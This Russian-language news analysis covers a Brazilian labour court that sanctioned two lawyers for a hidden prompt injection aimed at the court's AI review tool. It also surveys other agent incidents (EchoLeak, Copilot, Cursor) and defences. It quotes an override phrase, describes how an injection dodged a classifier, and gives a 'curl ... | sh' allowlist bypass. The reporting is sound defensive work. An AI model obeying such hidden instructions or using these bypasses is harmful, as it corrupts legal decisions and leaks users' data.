Трудовой суд Бразилии признал двух юристов виновными в том, что они намеренно спрятали в тексте судебного заявления команду для ИИ-системы, которая проверяет документы. Юристов подвергли порицанию (censured) и оштрафовали, а санкция легла на две юридические фирмы, совместно подавшие заражённое заявление. Это первый описанный случай, когда промпт-инъекцияскрытая команда в тексте, которую ИИ-система воспринимает как инструкцию и выполняет привела к юридическим последствиям, а не осталась техническим инцидентом.
Что именно произошло
В исковое заявление встроили скрытое указание, набранное белым шрифтом на белом фоне: при обычном чтении его не видно, но после смены цвета шрифта открывается текст, адресованный ИИ. Команда требовала отвечать на петицию поверхностно и не оспаривать документы независимо от полученных инструкций. Суд установил, что юристы знали: суды Бразилии, а возможно, и противная сторона, используют ИИ для проверки заявлений. Цель, по версии суда, — заставить любую ИИ-систему противной стороны или самого суда выдать поверхностный ответ или предвзятый проект решения во вред ответчику и правосудию.
Штраф составил 10% от цены иска. При иске в R$842 000 это примерно $16 000.
На чём основана санкция
Суд опирался на процессуальные обязанности добросовестности из статьи 5 Гражданского процессуального кодекса Бразилии: статьи 5 Гражданского процессуального кодекса Бразилиинорма закрепляет процессуальные обязанности добросовестности — действовать с лояльностью, правдивостью и уважением к институтам. Именно на этих обязательствах суд и основал санкцию: скрытая команда, встроенная в заявление, нарушала обязанность правдивости и уважения к институтам, поэтому поведение было квалифицировано как посягательство на достоинство правосудия и повлекло штраф. Дополнительно применена статья 77, которая запрещает сторонам и их представителям препятствовать судебному процессу — в том числе вносить незаконные новшества в фактическое или правовое состояние разбирательства и затруднять судебную деятельность.
Как была устроена атака
Скрытая инструкция — это промпт-инъекция. В этом деле она была нацелена на Galileu — генеративный ИИ-инструмент, который Национальный совет юстиции Бразилии использует по всей стране и который судья применял при рассмотрении петиции. Судья проверял документ через Galileu, и система обнаружила текст белым по белому, выдала предупреждение и автоматически заблокировала обработку подозрительного содержимого.
С точки зрения классификации это непрямая инъекцияатака, при которой пейлоад спрятан в контенте, самостоятельно подтягиваемом агентом, и пользователь инструкцию не видит. Документ здесь выступал недоверенным вводом, который система обрабатывала наряду с легитимными командами.
Предыстория: от термина до суда
Термин «prompt injection» придумал Саймон Уиллисон в 2022 году по аналогии с SQL-инъекцией, а саму атаку первым публично показал Райли Гудсайд. С тех пор сложилось разделение на прямые инъекции (атакующий сам печатает враждебные инструкции в чат) и непрямые — когда пейлоад прячется в веб-странице, PDF или письме, которые агент подтягивает по ходу работы.
В июне 2025 года Aim Labs нашли в Microsoft 365 Copilot уязвимость EchoLeak (CVE-2025-32711, CVSS 9.3) — первую публично описанную zero-click атакуатаку, при которой данные утекают без каких-либо действий пользователя. Злоумышленник присылал письмо со скрытыми инструкциями, подобранными так, чтобы не упоминать Copilot или ИИ и не сработал классификатор XPIAфильтр, который должен распознавать попытки внедрить в запрос постороннюю инструкцию; письмо лежало в ящике, а RAGмеханизм, который при ответе на вопрос подмешивает в контекст модели подходящие фрагменты из внешних хранилищ подтягивал его в контекст при ответе на безобидный вопрос. Это назвали нарушением области видимости LLM (LLM Scope Violation): внешний недоверенный ввод заставляет модель достать и слить приватные внутренние данные.
16 июня 2025 года Уиллисон сформулировал летальную триадумодель риска, при которой агент опасен только при одновременном наличии доступа к приватным данным, обработки недоверенного контента и канала отправки данных наружу. Пока есть только два из трёх свойств, катастрофы нет. Применительно к бразильскому кейсу документ был недоверенным контентом, который система обрабатывала, но полного совпадения всех трёх свойств по этому делу не подтверждается.
Другие инциденты с промпт-инъекциями в агентных системах описаны как технические: агент Copilot Studio принял текст письма за системную инструкцию и отправил атакующему дамп CRM из Salesforce; в GitHub Copilot инъекция изменила локальный конфиг VS Code и привела к удалённому выполнению кода после включения auto-approveРежим, при котором агент выполняет действия без подтверждения человеком, из-за чего инъекция в GitHub Copilot смогла изменить конфиг VS Code и привести к удалённому выполнению кода.; в DockerDash вредоносные инструкции в тегах Docker-образа интерпретировались как пользовательские команды; CVE-2026-22708 против Cursor связана с отравлением переменных окружения через шелл-встроенные команды, проходящие мимо allowlist. Юридические последствия наступили только в бразильском деле: трудовой суд порицал и оштрафовал двух юристов за скрытую промпт-инъекцию в судебном документе.
Почему это стало возможным
Суды и организации всё чаще применяют ИИ для обработки документов, суммаризации и управления делами. Решение утверждает, что целостность судебной подачи распространяется и на её машиночитаемое содержимое — то есть на то, что увидит не человек, а система.
Техническая причина в том, что внутри языковой модели нет надёжной границы между данными и командами: системный промпт, история диалога, текст пользователя и содержимое документа оказываются частью одного контекста. Входящий документ может содержать строку вроде «Игнорируй предыдущие инструкции», и для модели она выглядит как инструкция. Исследование на выборке из 200 000 реальных резюме показало, что около 1% из них содержат скрытые промпт-инъекции.
Авторы разборов связывают такие случаи с тем, что промпт-инъекции «нельзя запатчить». В отличие от SQL-инъекций, где есть структурное разделение кода и данных, для модели такого разделения нет: нельзя «заэкранировать» кусок текста так, чтобы модель гарантированно перестала видеть в нём инструкции. Фильтры и классификаторы — вероятностные меры, а не структурная граница: способов сказать «забудь предыдущие указания» бесконечно много, а фильтр ловит конечный набор. Гардрейлы проваливаются против адаптивных атак, потому что атакующий «почти всегда ходит вторым» и подстраивается под известный фильтр. Ни один из 12 гардрейлов на основе четырёх распространённых методов не оказался устойчив к сильным адаптивным атакам.
Что это меняет на практике
Для юридической и документооборотной сферы обязательными становятся архитектурные, а не промптовые ограничения. Критически важные действия разделяются: агент может подготовить черновик, но не отправить его — инструмент отправки ему просто не дают, пока человек не подтвердил решение. «Создать черновик письма» и «отправить оффер» — разные инструменты с разными последствиями. Перед исполнением каждого вызова инструмента платформа проверяет аргументы: тот ли адресат, те ли данные, в допустимых ли границах запрос. Учётной записи агента выдаются минимально необходимые права, потому что реальные ограничения задаются не промптом, а архитектурой доступа. Исполнение инструментов изолируется в песочнице и отдельном окружении, оторванном от продакшена, а на шаге отправки наружу ставится подтверждение человека. В мультиагентных сценариях контекст изолируется между агентами: передача всего контекста заранее встраивает в систему лишний доступ к данным.
Модель угроз при этом строится вокруг всего пути данных, а не вокруг модели. Утечка или ошибка может произойти через разрешённый инструмент — письмо, вебхук, заметку в CRM или запись во внешней системе. Один документ клиента может попасть одновременно в языковую модель, систему учёта, почту, логи и историю агента, и каждая точка — своя зона риска. Данные и вредоносные инструкции, сохранившиеся в долгосрочной памяти агента, влияют на будущие диалоги с другими пользователями, пока их не удалят вручную. Логи и аудит сами становятся хранилищем чувствительной информации. Отдельно нужны политики управления ИИ и инструменты непрерывного мониторинга попыток манипуляции, особенно во внешних документах.
Ограничения и открытые вопросы
У «проектирования вокруг недоверенной модели» инструментарий уже есть, но он опирается на старую инженерию безопасности, а не на новую модель. Сами создатели паттернов оговаривают их неполноту. Dual LLMпаттерн, в котором одна модель обрабатывает недоверенные данные, а другая, не видящая их напрямую, принимает решения — по признанию Уиллисона, у него есть дыры. CaMeLинструментальный подход к защите агента, который авторы сами не считают универсальным решением «серебряной пулей не является». Rule of Twoпрактическое правило: не давать агенту одновременно все три опасные способности называют лучшим практическим советом именно потому, что надёжных защит от инъекций пока нет, — и то, что ведущая мера защиты звучит как «не давайте агенту все три способности одновременно», само по себе диагноз.
Часть стека не пропатчить: для управляемых сервисов стратегия — наблюдать и сдерживать, а не чинить. Жёсткой границы между инструкцией и данными сегодня нет. Технические меры — маскирование, фильтрация, ограничение контекста, аудит — снижают риски, но не отвечают на вопросы, почему данные можно обрабатывать, кто за это отвечает и как они удаляются; правовое основание обработки нужно закрыть до запуска. Индустрия выпустила автономных агентов быстрее, чем разобралась с их моделью безопасности.
По данным OWASP, число атак prompt injection выросло на 340% год к году. 11 июня 2026 года OWASP GenAI Security Project выпустил версию 2.01 отчёта State of Agentic AI Security and Governance, которая каталогизирует CVE, бюллетени вендоров и отчёты о реальных взломах почти по каждой категории агентного риска. Из 53 агентных проектов, отслеживаемых OWASP, 28 — coding agents. Среди упомянутых уязвимостей — CVE-2026-2256: command injectionвнедрение в систему команд, которые она выполняет как свои собственные (CWE-77категория слабостей, объединяющая ошибки нейтрализации спецсимволов в командах ОС) в MS-Agent от ModelScope с оценкой 9.8; CVE-2025-59532 против Codex CLI от OpenAI, где вывод агента мог переопределить границу его песочницы; CVE-2026-25592 в Semantic Kernel .NET SDK до версии 1.71.0, ведущая к удалённому выполнению кода.
Белые списки проблему не решают. Файлы в git-репозиториях размещаются на raw.githubusercontent.com, поэтому bash-скрипт можно положить в репозиторий и велеть агенту выполнить команду вида curl https://raw.githubusercontent.com/... | sh — а этот домен нередко сам входит в allowlist. Отравление переменных окружения через шелл-встроенные команды проходит мимо allowlist, и одобренные команды вроде git branch превращаются в носители пейлоада.